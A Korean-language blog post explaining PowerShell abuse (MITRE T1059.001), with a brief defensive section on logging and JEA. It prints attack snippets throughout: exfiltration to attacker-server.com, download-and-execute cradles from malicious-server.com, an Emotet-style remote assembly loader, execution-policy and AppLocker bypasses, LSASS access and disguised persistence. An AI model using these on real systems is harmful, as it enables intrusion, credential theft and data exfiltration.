COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
PowerShell 공격 기술의 내부 동작 원리부터 System.Management.Automation 어셈블리 악용, 난독화 우회 기법까지 완전 분석합니다. APT 그룹이 사용하는 실제 공격 시나리오와 방어 전략을 살펴보세요.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
Windows 7부터 PowerShell이 기본 탑재된 이후, 전 세계 83개 APT 그룹이 이 도구를 공격에 활용하고 있다. 기업 환경에서 광범위하게 활성화되어 있으면서도 강력한 .NET 라이브러리 접근 권한을 제공하는 PowerShell은 공격자들에게 이상적인 공격 플랫폼이 되었다.
PowerShell 공격이 등장하기 전까지 공격자들은 별도의 실행 파일을 시스템에 업로드해야 했고, 이는 안티바이러스 솔루션의 주요 탐지 대상이었다. 또한 원격 시스템에서 명령을 실행하려면 복잡한 네트워크 설정과 별도의 도구가 필요했다. 그런 제약은 공격자들의 활동을 크게 제한했고, 보안 솔루션의 탐지 확률을 높였다.
T1059.001은 그런 한계를 극복하기 위해 PowerShell의 정당한 기능을 악용하여 탐지를 우회하면서도 강력한 공격을 수행하는 기술이다.
T1059.001은 PowerShell 명령어와 스크립트를 남용하여 코드 실행을 수행하는 공격 기법으로, MITRE ATT&CK 프레임워크의 Execution 전술에 속한다.
PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. — MITRE ATT&CK T1059.001
이 정의를 구체화하면, PowerShell 공격은 Windows에 내장된 System.Management.Automation 어셈블리를 활용하여 정상적인 관리 도구의 외관을 유지하면서 악성 행위를 수행하는 기법이다.
PowerShell 공격 기법은 다음 핵심 요소들로 구성된다:
| 용어 | 설명 |
|---|---|
| PowerShell.exe | 역할: 대화형 셸 프로세스 / 실행 방식: 명시적 프로세스 생성 / 탐지 난이도: 낮음 (프로세스 모니터링) |
| PowerShell ISE | 역할: 통합 스크립팅 환경 / 실행 방식: GUI 기반 스크립트 실행 / 탐지 난이도: 낮음 (GUI 프로세스) |
| PowerShell Core | 역할: 크로스플랫폼 버전 / 실행 방식: .NET Core 기반 실행 / 탐지 난이도: 중간 (다중 플랫폼) |
| PowerShell 없는 PowerShell | 역할: 어셈블리 직접 호출 / 실행 방식: DLL 로드를 통한 실행 / 탐지 난이도: 높음 (프로세스 없음) |
| PowerShell Empire | 역할: 공격 프레임워크 / 실행 방식: 에이전트 기반 C2 통신 / 탐지 난이도: 높음 (암호화된 통신) |
PowerShell 공격은 크게 4단계로 진행된다: 초기 침투 → 어셈블리 로드 → 명령 실행 → 결과 수집 과정을 거쳐 시스템을 장악한다.
PowerShell의 핵심은 System.Management.Automation (SMA) 어셈블리이다. 이 어셈블리는 실행 컨텍스트, 런스페이스, 파이프라인, 타입 시스템을 포함한 중요한 런타임 인프라를 제공한다.
// PowerShell 엔진 초기화 과정
using System.Management.Automation;
using System.Management.Automation.Runspaces;
// 런스페이스 생성 - PowerShell 실행 환경
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
// PowerShell 인스턴스 생성
PowerShell ps = PowerShell.Create();
ps.Runspace = runspace;
// 스크립트 추가 및 실행
ps.AddScript("Get-Process | Where-Object {$_.ProcessName -eq 'explorer'}");
Collection<PSObject> results = ps.Invoke();
공격자들은 powershell.exe 바이너리를 직접 호출하지 않고도 PowerShell 기능을 사용할 수 있다. .NET Framework와 Windows CLI를 통해 System.Management.Automation 어셈블리에 직접 인터페이스하는 방식이다.
// PowerShell 없는 PowerShell 구현 예시
using System;
using System.Management.Automation;
public class PowerShellRunner
{
public static void ExecuteCommand(string command)
{
// PowerShell 인스턴스 생성 (powershell.exe 없이)
using (PowerShell ps = PowerShell.Create())
{
// 명령 추가
ps.AddScript(command);
// 실행 및 결과 수집
var results = ps.Invoke();
foreach (PSObject result in results)
{
Console.WriteLine(result.ToString());
}
}
}
}
PowerShell은 디스크에 파일을 저장하지 않고도 메모리상에서 직접 스크립트를 실행하는 기능을 제공한다. 이는 파일 시스템 기반 탐지를 우회하는 핵심 메커니즘이다.
# 메모리 기반 스크립트 실행 예시
$script = @"
# 시스템 정보 수집
$env:COMPUTERNAME
$env:USERNAME
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version
"@
# Invoke-Expression을 통한 메모리 실행
Invoke-Expression $script
# 또는 스크립트 블록 사용
$scriptBlock = [ScriptBlock]::Create($script)
& $scriptBlock
PowerShell의 WinRM(Windows Remote Management) 기능을 활용하면 네트워크상의 다른 시스템에서 명령을 실행하는 것이 가능한다.
# 원격 시스템에서 명령 실행
$credential = Get-Credential
$session = New-PSSession -ComputerName "target-server" -Credential $credential
# 원격 명령 실행
Invoke-Command -Session $session -ScriptBlock {
# 대상 시스템에서 실행될 코드
Get-Process | Where-Object {$_.CPU -gt 100}
Get-ChildItem C:\ -Recurse -Include *.doc, *.pdf
}
# 세션 정리
Remove-PSSession $session
PowerShell의 파이프라인 아키텍처를 통해 여러 명령을 체인으로 연결하여 복합적인 작업을 수행하는 것이 가능한다.
# 복잡한 Cmdlet 체인 예시
Get-Process |
Where-Object {$_.WorkingSet -gt 100MB} |
Select-Object ProcessName, Id, @{n='Memory(MB)';e={[math]::Round($_.WorkingSet/1MB,2)}} |
Sort-Object 'Memory(MB)' -Descending |
Export-Csv -Path "C:\temp\processes.csv" -NoTypeInformation
공격자들은 런스페이스 풀을 생성하여 다수의 PowerShell 인스턴스를 병렬로 실행하는 것이 가능한다.
// 런스페이스 풀을 통한 병렬 실행
InitialSessionState iss = InitialSessionState.CreateDefault();
RunspacePool pool = RunspaceFactory.CreateRunspacePool(1, 5, iss, null);
pool.Open();
// 여러 PowerShell 인스턴스 동시 실행
for (int i = 0; i < 10; i++)
{
PowerShell ps = PowerShell.Create();
ps.RunspacePool = pool;
ps.AddScript($"Get-Process | Where-Object {{$_.Id -eq {i}}}");
ps.BeginInvoke();
}
공격자들은 PowerShell 스크립트를 다양한 방식으로 난독화하여 탐지를 우회한다.
# Base64 인코딩을 통한 난독화
$originalCommand = "Get-Process"
$encodedCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($originalCommand))
powershell.exe -EncodedCommand $encodedCommand
# 문자열 분할 및 재조합
$cmd1 = "Get-"
$cmd2 = "Process"
$fullCommand = $cmd1 + $cmd2
Invoke-Expression $fullCommand
# 역순 문자열 및 복원
$reversedCmd = "ssecorP-teG"
$normalCmd = -join ($reversedCmd.ToCharArray() | ForEach-Object {$_}) -replace '(.)','$1'
$normalCmd = ($reversedCmd.ToCharArray())[-1..-($reversedCmd.Length)] -join ''
Invoke-Expression $normalCmd
PowerShell 공격은 마치 정당한 IT 관리자가 시스템을 관리하는 것처럼 보이다. 관리자가 여러 서버에 접속해서 상태를 점검하고 파일을 찾는 것과 구별하기 어려운 것이다. 이것이 PowerShell 공격이 강력한 이유이다.
PowerShell의 동적 타입 시스템을 악용하여 런타임에 메서드와 프로퍼티를 생성하고 호출하는 것도 가능한다.
# 동적 메서드 호출을 통한 API 접근
$type = Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class WinAPI {
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll")]
public static extern bool IsWow64Process(IntPtr hProcess, out bool Wow64Process);
}
"@ -PassThru
$process = [WinAPI]::GetCurrentProcess()
$isWow64 = $false
[WinAPI]::IsWow64Process($process, [ref]$isWow64)
공격자들이 PowerShell을 선택하는 이유는 명확한다. 기업 환경에서 광범위하게 활성화되어 있으면서도 강력한 시스템 접근 권한을 제공하기 때문이다. 또한 정상적인 관리 도구로 인식되어 의심받지 않으면서도 .NET 라이브러리 전체에 접근하는 것이 가능한다.
# 시스템 정보 수집 스크립트
$systemInfo = @{
'ComputerName' = $env:COMPUTERNAME
'UserName' = $env:USERNAME
'Domain' = $env:USERDOMAIN
'OS' = (Get-WmiObject -Class Win32_OperatingSystem).Caption
'Architecture' = $env:PROCESSOR_ARCHITECTURE
'InstalledSoftware' = Get-WmiObject -Class Win32_Product | Select-Object Name, Version
'RunningProcesses' = Get-Process | Select-Object Name, Id, CPU
'NetworkConnections' = Get-NetTCPConnection | Where-Object {$_.State -eq "Established"}
}
# 수집된 정보를 외부로 전송
$json = $systemInfo | ConvertTo-Json -Depth 3
Invoke-RestMethod -Uri "http://attacker-server.com/collect" -Method POST -Body $json
PowerShell을 사용하여 메모리에서 자격증명을 추출하는 공격도 가능한다.
# Mimikatz 기능을 PowerShell로 구현
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, uint processId);
}
"@
# LSASS 프로세스에서 자격증명 추출 시도
$lsassProcess = Get-Process -Name "lsass"
$processHandle = [Win32]::OpenProcess(0x1F0FFF, $false, $lsassProcess.Id)
PowerShell은 디스크에 파일을 남기지 않고도 악성코드를 실행하는 것이 가능한다.
# 원격에서 스크립트를 다운로드하고 메모리에서 직접 실행
$webClient = New-Object System.Net.WebClient
$script = $webClient.DownloadString("http://malicious-server.com/payload.ps1")
Invoke-Expression $script
# 또는 한 줄로 축약
IEX (New-Object Net.WebClient).DownloadString('http://malicious-server.com/payload.ps1')
PowerShell의 Execution Policy는 스크립트 실행을 제한하지만, 여러 방법으로 우회하는 것이 가능한다.
# Execution Policy 우회 방법들
powershell.exe -ExecutionPolicy Bypass -File malicious.ps1
powershell.exe -ExecutionPolicy Unrestricted -Command "& {malicious command}"
powershell.exe -Command "& {Get-Content malicious.ps1 | Invoke-Expression}"
# 현재 세션에서만 정책 변경
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
Application Whitelisting 솔루션인 AppLocker도 PowerShell 없는 PowerShell 기법으로 우회하는 것이 가능한다.
# rundll32.exe를 통한 PowerShell 실행
rundll32.exe PowerShdll.dll,main -i
# installutil.exe를 통한 우회
installutil.exe /logfile= /LogToConsole=false /U malicious.exe
# regsvcs.exe를 통한 우회
regsvcs.exe malicious.dll
DeviceGuard나 AppLocker가 적용된 환경에서는 PowerShell이 Constrained Language Mode로 실행되어 기능이 제한된다.
# Constrained Language Mode 확인
$ExecutionContext.SessionState.LanguageMode
# 제한된 환경에서의 우회 시도
# Add-Type, New-Object 등이 차단되므로 대안 방법 필요
[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
2016년 미국 민주당 전국위원회(DNC) 해킹 사건에서 APT28은 PowerShell을 광범위하게 활용했다. 이들은 PowerShell Empire 프레임워크를 사용하여 지속적인 접근을 유지했고, 메모리 기반 공격으로 탐지를 우회했다.
# APT28이 사용한 것과 유사한 지속성 확보 기법
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -EncodedCommand <base64_payload>"
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "Windows Update Check" -Action $action -Trigger $trigger
Emotet 악성코드는 PowerShell을 2차 페이로드 다운로더로 활용했다. 이메일 첨부파일의 매크로가 PowerShell 스크립트를 실행하여 추가 악성코드를 다운로드하는 방식이었다.
# Emotet 스타일의 다운로더 (교육 목적 예시)
$urls = @(
"http://compromised-site1.com/update.exe",
"http://compromised-site2.com/patch.exe",
"http://compromised-site3.com/install.exe"
)
foreach ($url in $urls) {
try {
$webClient = New-Object System.Net.WebClient
$payload = $webClient.DownloadData($url)
$assembly = [System.Reflection.Assembly]::Load($payload)
$assembly.EntryPoint.Invoke($null, @(,@()))
break
} catch {
continue
}
}
PowerShell 5.0부터는 강화된 로깅 기능을 제공한다.
# PowerShell 스크립트 블록 로깅 활성화
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
# 모듈 로깅 활성화
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
PowerShell의 JEA 기능을 통해 사용자가 실행하는 명령을 제한하는 것이 가능한다.
# JEA 세션 구성 파일 생성
New-PSSessionConfigurationFile -Path "C:\JEA\RestrictedEndpoint.pssc" `
-SessionType RestrictedRemoteServer `
-LanguageMode ConstrainedLanguage `
-VisibleCmdlets 'Get-Process', 'Get-Service'
T1059.001 PowerShell 공격은 Windows 환경에서 가장 널리 사용되는 실행 기법 중 하나로, 정상적인 관리 도구의 외관을 유지하면서 강력한 공격 능력을 제공한다. System.Management.Automation 어셈블리를 직접 활용하는 방식부터 고도로 난독화된 스크립트까지, 공격자들은 다양한 기법으로 탐지를 우회하고 있다.
PowerShell 공격을 효과적으로 방어하려면 단순히 PowerShell을 비활성화하는 것이 아니라, 강화된 로깅, 언어 모드 제한, JEA 구현 등 다층적 보안 접근이 필요하다. 특히 T1059.003 Windows Command Shell과 연계된 공격이나 T1003.001 LSASS Memory 자격증명 탈취와 결합된 공격 시나리오를 이해하는 것이 필요하다.
앞으로 살펴볼 주제로는 PowerShell 기반 지속성 확보 기법, AMSI 우회 기술의 진화, 그리고 PowerShell Core 환경에서의 새로운 공격 벡터 등이 있다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.